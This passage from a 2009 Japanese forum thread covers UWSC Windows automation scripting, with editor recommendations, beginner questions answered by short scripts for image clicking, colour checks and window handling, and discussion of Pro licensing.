だったら作者に直接頼めばいいじゃん。賛同者を募っても意味がない。
「他の方法でも実現可能ですが他のスクリプト言語と動作を合わせたいので拡張子チェックをやめて下さい」
って言えば実装してくれるかもよ。

コピーがダメで、そのまま動くのは良いとする合理的理由が提示できれば可能性は高まる。
185名無しさん@お腹いっぱい。:2009/05/09(土) 23:38:59 ID:tfFS9/XZ0
UWSC起動すると重くなるのはなぜですか?
186名無しさん@お腹いっぱい。:2009/05/09(土) 23:54:05 ID:UdxXVJFK0
>>185
uwscが動いているからです
187名無しさん@お腹いっぱい。:2009/05/10(日) 00:16:08 ID:aZKLejEf0
exe化すると3倍早くなるとか・・・そんなオマケはないかw
188名無しさん@お腹いっぱい。:2009/05/13(水) 20:15:34 ID:GlHeCM5a0
REPEAT ~~ UNTIL 文を使用して

REPEAT
  処理
UNTIL 式 AND(OR) 式

といったように判定文を二つとかにできるのでしょうか?
189名無しさん@お腹いっぱい。:2009/05/13(水) 20:29:46 ID:2MaqNuwBP
>>188
もちろん可能
なんで?

190名無しさん@お腹いっぱい。:2009/05/13(水) 20:47:34 ID:GlHeCM5a0
>>189
もちろん軽くやってみたんですが
エラー吐き出してしまったので・・
少しがんばってみます
191名無しさん@お腹いっぱい。:2009/05/13(水) 20:59:38 ID:ps5sVa6O0
括弧で囲ってみるとか
192名無しさん@お腹いっぱい。:2009/05/13(水) 21:06:35 ID:GlHeCM5a0
>>191,189さんありがとうございます
自分は一度できないと投げ出してしまう性格なようで・・
できるという確信が欲しかったのが本音です
できました
193名無しさん@お腹いっぱい。:2009/05/20(水) 00:52:21 ID:taNHDTpg0
皆さんノートパッドで編集してるのでしょうか?良い編集ソフトがあれば是非教えてください。
194名無しさん@お腹いっぱい。:2009/05/20(水) 01:04:56 ID:T/+OSZKf0
TeraPad
195名無しさん@お腹いっぱい。:2009/05/20(水) 01:29:23 ID:taNHDTpg0
>>193
これは軽いし、いい感じですね
196名無しさん@お腹いっぱい。:2009/05/20(水) 07:50:22 ID:hQe8MsJi0
Hidemaru
197名無しさん@お腹いっぱい。:2009/05/20(水) 08:43:56 ID:VScXm2khO
秀丸いいよ

強調表示すれば色が付いてソースが見やすいし編集が楽しい
マクロも駆使すればデバッグも楽にできる
198名無しさん@お腹いっぱい。:2009/05/20(水) 13:31:25 ID:DmkRHCKd0
uwsc pro付属のデバッガで書くのが便利だな
199名無しさん@お腹いっぱい。:2009/05/20(水) 14:32:45 ID:IzKgsD9D0
>>198
それはないw
最低でも入力補完と強調表示はないと…
200名無しさん@お腹いっぱい。:2009/05/20(水) 16:50:28 ID:/qJ6n5kw0
UWSCの入力補完してくれるエディタなんてあるの?
201名無しさん@お腹いっぱい。:2009/05/20(水) 17:07:39 ID:QCGx1Srl0
私は、メモ帳の編集からやってます・・・
開くの面倒だし一括で管理できればいいなーと日々思ってる。

あと、画像の保存。これの範囲指定がちょーめんどう
202名無しさん@お腹いっぱい。:2009/05/20(水) 19:38:45 ID:+bwb5Hvf0
秀丸でのUWSCコーディング環境例はこんな感じ
大規模な開発はしないので予約語や標準関数の単語補完で十分やっていける
メモ帳よりは断然簡単に出来そうだし、何より楽しそうでしょ?

http://sakuratan.ddo.jp/imgboard/img-box/img20090520192134.gif
http://sakuratan.ddo.jp/imgboard/img-box/img20090520193422.gif

他のエディタ使ってる人がいたらキャプチャ画像見せてくれ
203名無しさん@お腹いっぱい。:2009/05/20(水) 21:11:37 ID:0p3fmBht0
>>202
気色悪い
204名無しさん@お腹いっぱい。:2009/05/20(水) 21:54:00 ID:QjV8JIkZ0
>>202
この環境の作り方を教えてください。
UWSC用強調表示定義ファイルだけは導入してますが、、、
205名無しさん@お腹いっぱい。:2009/05/20(水) 23:14:03 ID:GYzKVKFu0
センスねえなおい
206名無しさん@お腹いっぱい。:2009/05/21(木) 00:52:04 ID:Sv52ydXqP
ttp://scripts.web.fc2.com/UWSCEditing.htm

入力補助もあったらたしかにいいな。
でも入力補助はオブジェクトとかを自動的にリストしてくれないとあんまり使えないよね。
207名無しさん@お腹いっぱい。:2009/05/21(木) 10:46:37 ID:33MxVP3d0
>>205
センスあるキャプチャ画像くれ
208名無しさん@お腹いっぱい。:2009/05/21(木) 10:47:45 ID:9aQAYLO60
>>204
ファイルタイプ別の設定で色々変えると実現できるよ。
・UWSC用強調表示定義ファイルは秀丸ライブラリのは古い&欲しい定義が足りない&単語補完にも使いたいので自分で作成
・複数行コメントで表示方法をユーザー定義で手直しする
 //コメント, "〜"文字定数,TextBlock〜EndTextBlockスクリプト部分
・単語補完の自動表示をON、表示方法を「リスト」にする
 単語補完の検索対象を「現在編集中のテキスト」、辞書ファイルを「強調表示ファイル」に指定
くらいかな。他にも色々変えているかも。

>>206
確かにCOMオブジェクトは大変ですね。統合開発環境のように文脈の解析まではしないので自分で入れてくしかないし。
まあUWSC関数名とかのスペルミスを減らしてくれるのでそれだけでも十分重宝してます。
209名無しさん@お腹いっぱい。:2009/05/21(木) 16:06:53 ID:pi7xZiR70
秀丸4200円払って使ってるのか・・?
210名無しさん@お腹いっぱい。:2009/05/21(木) 16:15:21 ID:9GUKUYkK0
つ秀丸エディタフリー制度
211名無しさん@お腹いっぱい。:2009/05/21(木) 21:10:25 ID:5yMAa7Qe0
>>210
それは知らなかったなぁ…
スクリプターでもいいのかしら…申し込んでみるしかないか。

とはいえ、今のsakuraから乗り換えるのも難儀だわ。
212名無しさん@お腹いっぱい。:2009/05/21(木) 21:25:39 ID:ffiJf+S4P
秀丸は10年以上使えるから普通に払えよw
213名無しさん@お腹いっぱい。:2009/05/22(金) 06:19:00 ID:PW1wQXFN0
AutoItでキーボードを数秒毎にキーをアプリで押し続けるマクロを作りたいのですが、
USWCと文法違ってるでしょうか?
214名無しさん@お腹いっぱい。:2009/05/22(金) 14:37:26 ID:rPrKib1mP
>>213
そりゃ違うだろ
215213:2009/05/22(金) 15:47:04 ID:PW1wQXFN0
英文ヘルプ解読かなりしんどいです・・
AutoItならツール開発できるんだけどなぁ
216名無しさん@お腹いっぱい。:2009/05/22(金) 17:18:30 ID:1wh/neDN0
UWSC ProならEXE化出来るよ

頑張って英訳する・・・AutoIt
お金払って英訳不要・・・UWSC pro
217名無しさん@お腹いっぱい。:2009/05/22(金) 17:47:27 ID:WtyVQNVr0
テンプレにはWindowController入ってるけど、誰も使ってないのかね
218名無しさん@お腹いっぱい。:2009/05/23(土) 09:03:37 ID:ximSvABd0
フリー板を使用しています。
意図としてはclititle[]に入ったものからひとつ選択させることです
が、私の環境ではSLCTBOXで"A","B","5"が選択肢に出てしまいます。
なぜわざわざ、変数を使うかと言うといずれ変更する場合にファイルの先頭をいじればすぐに対処できるようにです


PUBLIC clititle[4]="A","B","C","5"

a=SLCTBOX(SLCT_BTN or SLCT_NUM,20,"どれかを選んでください",clititle[0],clititle[1],clititle[2])
sleep(1)
219名無しさん@お腹いっぱい。:2009/05/23(土) 12:02:53 ID:2Paz/uqW0
公式の掲示板見ろ
220218:2009/05/24(日) 01:11:29 ID:J+66nvQu0
>>219
ありがとうございました
おかげで見つけることが出来ました
221名無しさん@お腹いっぱい。:2009/05/24(日) 12:50:52 ID:Xb8rGLSU0
>>217
.Net Framework入れなきゃいけないのがあれだけど、ウィンドウの階層とか見れて便利だよ
222名無しさん@お腹いっぱい。:2009/05/26(火) 22:13:36 ID:+RDILU9c0
画像判定で自動クリックするスクリプトを組んでいるんですが、
「もし画像Aが無い場合は画像Bをクリックする」を実行するにはどう書けばいいんですか?
「もし画像Aがある場合は画像Aをクリックする」みたいなことはできています
223名無しさん@お腹いっぱい。:2009/05/26(火) 23:14:40 ID:TZB2jF9QP
>>222
その質問定期的にあるんだけど、まだ解決してないのか新参なのかはっきりしてほしいところ。

検索したらいろいろ出てくるはずだし。
224名無しさん@お腹いっぱい。:2009/05/26(火) 23:22:42 ID:AJ3m6Ie9P
戻り値 = CHKIMG( "画像A" )
IFB 戻り値 = FALSE THEN
//画像Bをクリックする処理をここに
ENDIF
225名無しさん@お腹いっぱい。:2009/05/27(水) 13:32:12 ID:la2dJ90hO
ハッシュテーブルについて質問です
使い方は分かるのですが有効な使い道が思いつきません

これの有無で大幅にソースが分かりやすくなるとか
処理効率が良くなる例を教えて頂けないでしょうか?
226名無しさん@お腹いっぱい。:2009/05/27(水) 16:03:12 ID:pfWyrr2F0
>>225
>ハッシュテーブル

連想配列のこと言ってるんかいな?
227名無しさん@お腹いっぱい。:2009/05/27(水) 16:04:07 ID:kSbeGETG0
>>225
利用するのとしないのとベンチマーク用コード書けばすぐわかる
ぱっと書けるのがUWSC最大の利点なんだから
228名無しさん@お腹いっぱい。:2009/05/27(水) 21:32:52 ID:K6/6pBlWP
>>225
僕が自動ログインスクリプトを書いたとき、
Webサイトごとに項目がいろいろあったんだけど、
それらを一人分の1件のデータから引用するように作ったんだけど、
項目名をキーに使うと管理しやすかったよ。

つまり、2次元配列は項目名をつけてないExcelのシートみたいなもんで、
連想配列はそれに項目名をつけて名前で定義するようなもの。

データを探すコードが必要がなくなるので簡単に書けるようになる。


スクリプトでデータを探すループを書くと遅いが、
ネイティブコードで検索する連想配列は高速だと思う。
ただ、そんな大量のデータを扱うこと自体が、特にUWSCでは難しいんじゃないかな。
大量なデータを確実に高速に扱いたかったらDBのCOMを使ったほうがいいと思う。
229名無しさん@お腹いっぱい。:2009/05/29(金) 17:26:57 ID:7S51W74l0
EXECとかで起動したアプリでウインドウサイズが変更可能な場合
ウインドウサイズの変更ってどうやるんでしょうか?
230229:2009/05/29(金) 17:41:16 ID:7S51W74l0
調べたらこれで出来そうですね、試してみます。。
ttp://www.e-dcz.com/~uwsc/acw.htm
231229:2009/05/29(金) 17:47:02 ID:7S51W74l0
ACW(GETID(GET_ACTIVE_WIN),100,100,100,100,0)
とかやると出来ました。
お騒がせしました。(´・ω・`)
232横レス:2009/05/29(金) 19:02:43 ID:8NGBVTKQ0
>>228
>DBのCOM
落し物部屋にDAO,ADO(まぎらわしくない名前なかったんかいw)のサンプルあるね
Windows標準でついてくるデータベースエンジン(MSDE)初めて意識的に使った
(なんかのソフトが使ったことはあるんだろうけど)
233名無しさん@お腹いっぱい。:2009/05/30(土) 12:02:21 ID:Wil6mTmF0
それなりにスクリプトかけるようになるとテラ便利だなこれ…
今まで細かいのはVBScript とかでやってたけど
UWSCにしようかな
234名無しさん@お腹いっぱい。:2009/05/31(日) 03:12:03 ID:ywUF+cK10
低脳ですいません

Aという画像があった場合Bという画像をダブルクリック 
Cという画像があった場合3回だけクリックする
Dという画像があった場合クリックして文字を@@@と打ち込む

こうゆのってできますか? 
235名無しさん@お腹いっぱい。:2009/05/31(日) 05:06:28 ID:FAKWGChRP
>>234
出来るけどリアルタイムな監視だと実用にならんよ
236名無しさん@お腹いっぱい。:2009/05/31(日) 11:44:56 ID:22DZlQuL0
>>233
欠点は、ほかのスクリプト言語に比べて起動が遅いことくらい。
237taka:2009/05/31(日) 16:52:38 ID:rOChwOYf0
c:\b のフォルダーのファイル (*.a (約5000件))を一括変換したいのですが?
238名無しさん@お腹いっぱい。:2009/05/31(日) 17:10:57 ID:onT5qa6F0
いいですよ
何をどう一括変換するか知りませんが
ここで許可とらなくても全然OKです
239taka:2009/05/31(日) 18:54:29 ID:rOChwOYf0
Dim cnt=getdir("c:\b\","*.a")
for i=0 to cnt-1
FN=GETDIR_FILES[i]

ACW(GETID("ac - FN"),-8,-8,1296,1008,0)
BTN(LEFT,CLICK,624,61,188)
ACW(GETID("出力設定","#32770"),407,297,467,399,0)
BTN(LEFT,CLICK,734,673,203)
ACW(GETID("ac - FN"),-8,-8,1296,1008,0)
ACW(GETID("ac","#32770"),467,404,346,185,0)
BTN(LEFT,CLICK,767,564,156)

next

上記でエラーが出るのですが わかる方がいらっしゃいましたらご指導お願いします。
240名無しさん@お腹いっぱい。:2009/05/31(日) 19:59:41 ID:7E7hpKabP
まず大きく変なのが、3行目でFNにファイル名を入れているにもかかわらず
FN自体を使用する処理がありません。

>ACW(GETID("ac - FN"),-8,-8,1296,1008,0)
から
>BTN(LEFT,CLICK,767,564,156)
までは開いているウィンドウに対して、何らかの処理をしたがっているようには見えますが
常識的に考えると"ac - FN"のような名称のウィンドウは見つかるはずがないため、
処理的には何も出来ないはずです。
その結果としてボタンをクリックする処理も正しく動作しません。

「一括処理」とは「何」を「どのように」処理を施したいのかを
明確にしてください。

つまりFNに入れたファイル名を何に使いたいのか?
"出力設定"というウィンドウに対して何をしたいのか?
を詳しく書いてください。
241名無しさん@お腹いっぱい。:2009/06/01(月) 00:54:42 ID:SQU0dFf0P
>>239
FNはファイル名なので
たとえばタイトルバーに「ac - 123a」とあるとすると
GETID("ac - " + FN)
とすればいいです。

エラーが出るなら、どの行でなんていうエラーが出るのか書いてくれないと分かりません。
とりあえず、あるかどうかも分からないウィンドウの処理を、無かった場合を考えてないので変な動作をするのは想像できます。
242名無しさん@お腹いっぱい。:2009/06/07(日) 22:16:30 ID:asRINGPU0
uwsc使い始めでよくわからないので教えてください。

while 1
Dim a = 1
 一番右上の空白に文字列aaa+変数を書き込む 
 //作業1
//作業2
//作業3
a = a + 1
WEND

書き込む所はどうすればできるのでしょうか?
作業123は正常に動きます。
243名無しさん@お腹いっぱい。:2009/06/07(日) 23:09:21 ID:5b1bhkqi0
おい!ちょっとエスパー読んできてくれ!
244名無しさん@お腹いっぱい。:2009/06/07(日) 23:14:28 ID:OPjWq+620
一番右上の空白とは一行目の行末のこと?
SendStr
FPut
あたりじゃダメ?
245名無しさん@お腹いっぱい。:2009/06/07(日) 23:17:53 ID:gV79Fw+LP
どのようなアプリケーションの右上なのかな?
他人が状況を把握出来る説明だと回答もらえやすいよ
246名無しさん@お腹いっぱい。:2009/06/08(月) 22:52:52 ID:lT7YTxwk0
タスクマネージャのプロセス一覧に出ているリスト列を
タスクマネージャを開かずに取得する方法ってないですかね?

GETALLWIN的な扱いの簡単さが出来ると嬉しいのですけど…
247名無しさん@お腹いっぱい。:2009/06/09(火) 10:03:09 ID:OB3fzy750
リスト列ってのが何を指してるのかわかんないけど
API経由で取得するのが簡単だと思うよ
248名無しさん@お腹いっぱい。:2009/06/09(火) 14:45:33 ID:JmluGmGYP
>>246
Windows7のタスクマネージャで取ってみたけど
GetItem( ID, ITM_LSTVEW, 0 ) でリストが取れる。
あとはALL_ITEM_LIST[]から順に取り出していく。

配列使ってるからそこはてきとーに処理して
【ITM_LSTVEW】
 アイテム数 = GetItem( ID, ITM_LSTVEW, j )
 For k = 0 to アイテム数 - 1
  SendSTR(メモ帳, (k+1) + ") " + ALL_ITEM_LIST[k] + "|<#TAB>", 1, false, false)
 Next

出力結果
1) explorer.exe| 2) dwm.exe| 3) perfmon.exe| 4) Jane2ch.exe| 5) wmplayer.exe| 6) iexplore.exe| 7) iexplore.exe|
8) iexplore.exe| 9) sakura.exe| 10) csrss.exe| 11) wmprph.exe| 12) UWSC.exe| 13) taskmgr.exe| 14) taskhost.exe|
15) notepad.exe| 16) notepad.exe| 17) taskhost.exe| 18) p2proxy.exe| 19) vmware-tray.exe| 20) sakura.exe| 21) FlashUtil10b.exe|
22) prevhost.exe| 23) winlogon.exe| 24) SOUNDMAN.EXE| 25) rundll32.exe| 26) ipmsg.exe|
249名無しさん@お腹いっぱい。:2009/06/09(火) 14:53:56 ID:JmluGmGYP
そういえば ALL_ITEM_LIST って2次元配列だったりしないんだっけ?
これだとプロセスナンバーとかの数字が取れない。
250名無しさん@お腹いっぱい。:2009/06/09(火) 16:29:45 ID:XsDpdM150
>>248
できた。ありがとう。
…でも、タスクマネージャーを開いたりする動作がちょっとめんどくさい。
バックグラウンドで何も表示が変わらず取得するには>>247の通りAPIとかがいいのかなぁ…

APIとしてtoolhelp32があるらしいが、宣言様式がわからずに挫折。

探していったら、コマンドプロンプトで「tasklist」を打つと標準出力としてリストが帰ってくるみたい。
今回はこれを使ってみます。

…挫折しそうだったけど、なんとかなりそう。有難うございました。
251名無しさん@お腹いっぱい。:2009/06/09(火) 17:38:09 ID:JDTy0djO0
なるほどね(´・ω・)
252名無しさん@お腹いっぱい。:2009/06/09(火) 17:47:30 ID:98GC24TC0
>>250
tasklist /?
253名無しさん@お腹いっぱい。:2009/06/09(火) 21:17:19 ID:yZRaCbPW0
APIつかえば楽にできるものまで、なんで無理やりUWSC使おうとするのか・・・
254名無しさん@お腹いっぱい。:2009/06/09(火) 21:34:50 ID:OB3fzy750
ん?
uwscでAPI使えるが
255名無しさん@お腹いっぱい。:2009/06/09(火) 23:11:29 ID:XsDpdM150
>>253
APIを使った先がウィンドウ操作ならUWSCを使うのもありかと思う。
256名無しさん@お腹いっぱい。:2009/06/10(水) 06:32:08 ID:s0GnnaGy0
未だに2.8使ってるわ
257名無しさん@お腹いっぱい。:2009/06/12(金) 19:46:08 ID:cYfKVn6U0
指定ウインドウのタイトルバーをホットキーで
ON/OFFできるようになった
テラ便利だなこれ
258名無しさん@お腹いっぱい。:2009/06/12(金) 23:17:03 ID:LyI0bbxR0
あの、pro試用版の期間切れてまったく使えなくなったんですが、再度インストールしなおす感じで
使えるようになる方法はあるでしょうか?
それか課金すれば他のPCでも作ったEXEを起動させる事は可能でしょうか?
259名無しさん@お腹いっぱい。:2009/06/13(土) 16:27:25 ID:HHSbXdvr0
(1ライセンス:1人の使用者もしくは1台のコンピュータのどちらかといたします)
1人の使用者=別PC起動OK?
260名無しさん@お腹いっぱい。:2009/06/13(土) 17:00:46 ID:ypl3J9yE0
>>258
exe化されたものは単体で動く&ライセンスフリーで配布化なので

>課金すれば他のPCでも作ったEXEを起動させる事は可能でしょうか?
は問題ない。

>>259
要は多人数・多PC間で同一シリアルでの使用、以外であれば基本的にはOKということかと…
261名無しさん@お腹いっぱい。:2009/06/13(土) 17:05:09 ID:HHSbXdvr0
>>360
>>exe化されたものは単体で動く&ライセンスフリーで配布化なので

他のPCでフリー版proの期限が切れてるとexeも起動できないのです
262名無しさん@お腹いっぱい。:2009/06/13(土) 17:13:58 ID:HHSbXdvr0
とりあえず製作者さんに聞いてみます
263名無しさん@お腹いっぱい。:2009/06/13(土) 17:30:51 ID:ypl3J9yE0
>>261
それはあくまでも”試用”だからじゃない?
以前は試用時期はexe化不可だったので、その後、そのようなbombを加えたんだと思うよ。
264名無しさん@お腹いっぱい。:2009/06/13(土) 17:36:03 ID:MuifibEd0
>EXE化後は単体での実行が可能であり、ライセンスフリーにて配布できます
元のpro試用版とはEXE化した時点で切れて元のライセンスとは無関係になる意味だとしか読めない
(中級者以上は全員そう答えると思う)

詳細:
大原則「元のプログラムのライセンスが成果物に及ぶことはありえない、ただし成果物に元のプログラムの一部分を含む場合は除く。」
UWSCのEXE化の場合ただし書きに当てはまっちゃうから自動的に(何と書いてあろうが)拘束されるわけないとは言えないけど
最初の文に戻ってセーフ
265名無しさん@お腹いっぱい。:2009/06/13(土) 20:05:44 ID:bQw4ownc0
Pro試用版で作ったExeには、試用版の期限とともに使えなくなる制限が加えられているって話か?
あたりまえなんじゃないの?
266名無しさん@お腹いっぱい。:2009/06/13(土) 21:25:07 ID:1s3MThNz0
そうじゃないから話題にしてるんだろ…
267名無しさん@お腹いっぱい。:2009/06/13(土) 21:43:14 ID:okfHIytV0
どうしてこんなことに
268名無しさん@お腹いっぱい。:2009/06/18(木) 01:47:18 ID:7aUOItL20
MOUSEORG使わずに裏のソフトにキーボード送る方法しらない?
仮想デスクトップだと失敗した(windeskwide)
269名無しさん@お腹いっぱい。:2009/06/19(金) 16:01:31 ID:ZIX8IAzn0
vitualPCくらいしかないんじゃないか?
270名無しさん@お腹いっぱい。:2009/06/19(金) 18:53:26 ID:08TlUNPj0
3レス前までの話なんだけど
メモリースティックに正式版UWSCのEXEを入れて別PCでそのEXEを起動できるのですか?
271名無しさん@お腹いっぱい。:2009/06/19(金) 19:46:29 ID:pAkGm9U/0
いままでメモ帳でスクリプト書いてたが、ここで紹介のあったさくらエディタ試しに使ってみたら
すげー便利なんで驚いたよ。プログラムなんていままでやったことなくてUWSCが唯一のなんちゃって
なんだけど、スクリプト書くのに入力支援ってのがあるのを初めて知りまつた^^

ちらしの裏でごめんなさい。
272名無しさん@お腹いっぱい。:2009/06/20(土) 22:01:42 ID:EKtO2XvN0

Ifb PEEKCOLOR(100,100) = $0000FF then
KBD(VK_A,CLICK,100)
endif

これで100、100の色が赤のときAキー押しますよね・・?
X100〜200 y100〜200の範囲に赤があるとき
Aキーを押すにはどうしたらいいんでしょうか?
273名無しさん@お腹いっぱい。:2009/06/21(日) 10:43:56 ID:RhC3FDVM0
>>271
入力支援とはどのような?
274名無しさん@お腹いっぱい。:2009/06/21(日) 12:13:01 ID:DCfGr8OJ0
俺はかなり昔から金払ってEmEditor使ってる
html、perl、vbs、shとか全部これ
EmEditor以外でよく使うのはvi
275名無しさん@お腹いっぱい。:2009/06/21(日) 12:46:41 ID:5kj31fKJP
>>271
for文の2重ループ

FOR x=100 TO 200
FOR y=100 to 200
Ifb PEEKCOLOR(100,100) = $0000FF then
KBD(VK_A,CLICK,100)
BREAK 2
endif
NEXT
NEXT

色が完全に固定ならチェック対象の1ピクセルの画像を用意してCHKIMGとか

どちらにしても負荷は高い
276名無しさん@お腹いっぱい。:2009/06/21(日) 13:05:02 ID:/nl1DTl50
>>273
"Get"とキーボードで入れると、"ゲッツ!"とダンディの声が再生され、
スクリプトの入力がはかどる機能だ。いまのところ、さくらエディタにしかない。
277名無しさん@お腹いっぱい。:2009/06/21(日) 13:18:32 ID:G+IyuUm70
メモリースティックにUWSCのEXEを入れて別PCでそのEXEを起動できるのですか?
278名無しさん@お腹いっぱい。:2009/06/21(日) 17:28:50 ID:iA+d4F2z0
こんな入力支援じゃダメ?(´・ω・`)

ID = GetID("メモ帳","Notepad", 0.02)
HashTbl a
  a[30] = "ChgMoj()"
  a[31] = "CreateOLEObj()"
  a[70] = "GetActiveOLEObj()"
  a[32] = "CtrlWin()"
  a[60] = "Fukidasi()"

Thread Focus()
b = SlctBox( SLCT_LST, 0, "どれか選んでね", a[30], a[31], a[32], a[32], a[60])
If b < 1 then Exit
c = LOGN(2, b)

Ifb 0 < ID
  SendStr( ID, a[c, HASH_VAL])
Else
  SendStr( Exec("Notepad"), a[c, HASH_VAL])
EndIf

Procedure Focus()
  SCKey( GetID( "", "TFSectBox.UnicodeClass", 0.02), VK_Down)
FEnd
279名無しさん@お腹いっぱい。:2009/06/21(日) 17:34:27 ID:G+IyuUm70
ライセンス取ってる人本当にいるんですか?
280名無しさん@お腹いっぱい。:2009/06/22(月) 14:40:20 ID:VkD3AiIxP
>>279
さー
いるんじゃないの?

でも、2ちゃんねる自体人が減っちゃったし、ヘビーユーザー以外は大規模規制で書き込めないし。
281名無しさん@お腹いっぱい。:2009/06/24(水) 03:29:36 ID:fQEr78db0
ウィンドウタイトルの無いウィンドウ(ツール)を操作したいのですがどうしたらいいでしょうか。
具体的にはhttp://novolization.hp.infoseek.co.jp/pro.html#ao のMovieOperatorを
操作したいんですが。
プロセスから絞り込み出来るAHKに色目を使ったりしたんですが、日本語関係が扱いにくすぎるので戻ってきました…
UWSCでも同じようなことが出来たらと思いまして。
282名無しさん@お腹いっぱい。:2009/06/24(水) 11:28:57 ID:bogFoJon0
>>281
全部のウィンドウを探索して
特定の文字列を、特定の場所に持つ(title, static, edit…等々)ものを検索しても良いんじゃないか。
283名無しさん@お腹いっぱい。:2009/06/24(水) 15:13:14 ID:PNf2g6ai0
メモリースティックにUWSCのEXEを入れて別PCでそのEXEを起動できますか?
284名無しさん@お腹いっぱい。:2009/06/24(水) 18:06:45 ID:/v3ozSjk0
動くよ
285名無しさん@お腹いっぱい。:2009/06/25(木) 14:08:56 ID:u8YpvIpq0
>>281
クラス名指定では絞り込めないのか?
286名無しさん@お腹いっぱい。:2009/06/25(木) 16:03:16 ID:jI+hlXDc0
クラス名は #32770 でよくあるダイアログのそれです。

UWSCから起動してexecの戻り値を取るとか、アクティブウィンドウを指定するとか、
ウィンドウ総当りとかじゃないもっとストレートな指定法って無いもんですかね?

AHKではプロセスからからウィンドウ指定できるんですね。
何年もUWSCだけ使ってましたがこれを機にAHKも勉強中。
スタティックのテキスト変更できたりと色々便利。

UWSCでもAPI使えば出来るんだろうけど、なかなか敷居が高いです…
287名無しさん@お腹いっぱい。:2009/06/25(木) 17:58:21 ID:u8YpvIpq0
>>286
なる。 駄目もとで公式に要望出しておいたら?
AHKは確かに便利なんだけど、あの書式がどうしても馴染めない…
288名無しさん@お腹いっぱい。:2009/06/25(木) 18:19:24 ID:wYqTelZv0
総当りっつても、関数にしちゃえば大したことないよ。
クラス名と、Statusでプロセス名と、ウィンドウ内部のいくつかのテキストが合致すりゃいいだけの話。
UWSCのヘルプ見れば簡単に取得できる。
API使う技量があれば大したことないと思うんだが・・・
AHKは慣れるまで大変だけど、UWSCより反応や処理が早いような気がするわ。
キーカスタマイズできるために処理が早いのか、exeが200キロバイトくらいしかないからなのかわからんが。
でも楽なのはUWSCだね。
289名無しさん@お腹いっぱい。:2009/06/26(金) 00:30:23 ID:kYZKAKEF0
PRO版をレジストした。
くそう…もっとはやくレジストしておけばよかった…

EXE化の恩恵がソース隠蔽の他にもあった。
補助ソフトを使わずに、複数ファイルがドロップ受付可能になるのは便利だ。
290名無しさん@お腹いっぱい。:2009/06/26(金) 02:05:41 ID:jxeiONc00
>>288
問題のツールはリストボックスの選択でモード変更するんですが
モード変更によって内部コントロールの数もテキストもごそっと変わるんですね。
きめうちで指定できる全モード共通のテキストが無い。

まあそれもモード毎に分ければいい話ですが、使わないモードの
ぶんまでいちいち記述するのは面倒くさいですよ。
291名無しさん@お腹いっぱい。:2009/06/26(金) 03:10:05 ID:rn5hv3nk0
//前作ってた奴から関数にしてみた。テキストのチェックはないけど
option explicit
//クラス名とExe名からIDを取得する
dim sNameClass = "#32770"
dim sNameExe = "movieoperator.exe"

dim ret = GetID_class_Exename(sNameClass,sNameExe)
msgbox(ret)

function GetID_class_Exename(sNameClass,sNameExe)
GETALLWIN()
dim iii
result = ""
for iii=resize(ALL_WIN_ID) to 0 step -1
ifb status(iii,ST_Class) = sNameClass and copy(status(iii,ST_Path),length(status(iii,ST_Path))-length(sNameExe)+1,length(sNameExe)) = sNameExe then
result = iii
exit
endif
next
FEnd
292名無しさん@お腹いっぱい。:2009/06/26(金) 09:21:02 ID:jxeiONc00
>>291
なるほど、ST_PATH使うんですね。
こっちのほうがだいぶスマートです。

ウィンドウ総当りでも内部コントロールのテキスト使うことばかり頭にありました。
293名無しさん@お腹いっぱい。:2009/06/27(土) 21:21:48 ID:I4Xj1M1U0
>>289
他PCでもレジストできますか?
294名無しさん@お腹いっぱい。:2009/06/28(日) 00:32:11 ID:KYHTB2rv0
税込む価格
10本未満 : 1本 6,720円
10本〜29本: 1本 6,090円
30本〜49本: 1本 5,460円
50本以上〜: 1本 4,830円
例:12本の場合は 12*6090にて、お振込み頂く金額は 73,080円になります。

これについて一言
295名無しさん@お腹いっぱい。:2009/06/29(月) 12:12:35 ID:26BV9Jn80
画面全体、もしくは指定座標が #FFFFFF→#FFFF00に変化したら音を鳴らして、
#FFFF00になっている間はループ。#FFFF00→#FFFFFFに変化したら音を止めて、
監視状態に戻る・・・というものを作りたいのですが、スキルがない為にうまく組めません。
用途としてはアラート監視に使いたいと思っています。監視ソフトに音を鳴らす
機能がついていないので、UWSCでその機能を補完できればと考えています。
お力をお貸し願えないでしょうか。
(取りあえず自分でも組んでみたのですが、改行多すぎで投稿できませんでした)
296名無しさん@お腹いっぱい。:2009/06/29(月) 15:09:48 ID:aEsNyjSz0
WHILE TRUE
 IF PEEKCOLOR(x, y) = $00FFFF THEN SOUND()
 SLEEP(0.1)
WEND

どこをどうしたら改行多すぎる長いマクロかけるんだ…
297名無しさん@お腹いっぱい。:2009/06/29(月) 16:04:22 ID:NmP87/3+0
画面全体が対象だとちょっとだけ長くなるんじゃね
298名無しさん@お腹いっぱい。:2009/06/29(月) 19:25:33 ID:A0Ms4Bp/P
>>295
そういうのはスクリプトじゃないちゃんとしたプログラムで書くべき。
UWSCではT画面のスキャンにも時間がかかりすぎる。
299名無しさん@お腹いっぱい。:2009/06/29(月) 22:10:30 ID:eTj2KOuA0
詰めるとスクリプトでは…という話かもしれないが
別のところを詰めると、スクリプトでもいけると思う。

まぁ、それには295が自分のやりたいことと、
取り巻く環境を正しく理解すれば…の話だったり。
300名無しさん@お腹いっぱい。:2009/06/29(月) 22:55:12 ID:n5qEjFKA0
>>293
出来るよ。何台でも。ライセンス条項違反だけどね。
>1ライセンス:1人の使用者もしくは1台のコンピュータのどちらかといたします
301名無しさん@お腹いっぱい。:2009/06/29(月) 23:30:15 ID:JbdH8yRJ0
>>298
時間っていっても大したことねえと思うが。
素人がさっと試せるのがUWSCのいいとこなわけだし。
それで駄目ならプロにたのめばいいわけだし。
302名無しさん@お腹いっぱい。:2009/07/01(水) 19:45:32 ID:Axm6U3Er0
すいません教えてください
指定範囲内の画像を判別し別の座標をクリックする下記のスクリプトを使っています

while true                              
ifb CHKIMG("画像1.BMP",指定範囲A) then
BTN(LEFT,CLICK座標)
break
endif
wend

見つかるまでループし見つかったらクリックして停止するのですが
チェックする指定範囲を指定範囲AだけでなくB、Cと増やし、
どれかが見つかればクリックして停止させるためにはどうすればよいでしょうか?
303名無しさん@お腹いっぱい。:2009/07/01(水) 21:04:18 ID:tiNZ/SLY0
POU!!!!
304名無しさん@お腹いっぱい。:2009/07/01(水) 21:12:51 ID:zKC91gH10
オンラインゲームとかでこのツールで自動化してる人多いんだろうか
305名無しさん@お腹いっぱい。:2009/07/01(水) 21:22:23 ID:15F2lE6M0
大抵使えないようになってなかったっけ?
306名無しさん@お腹いっぱい。:2009/07/01(水) 23:18:23 ID:9pXJwBtQP
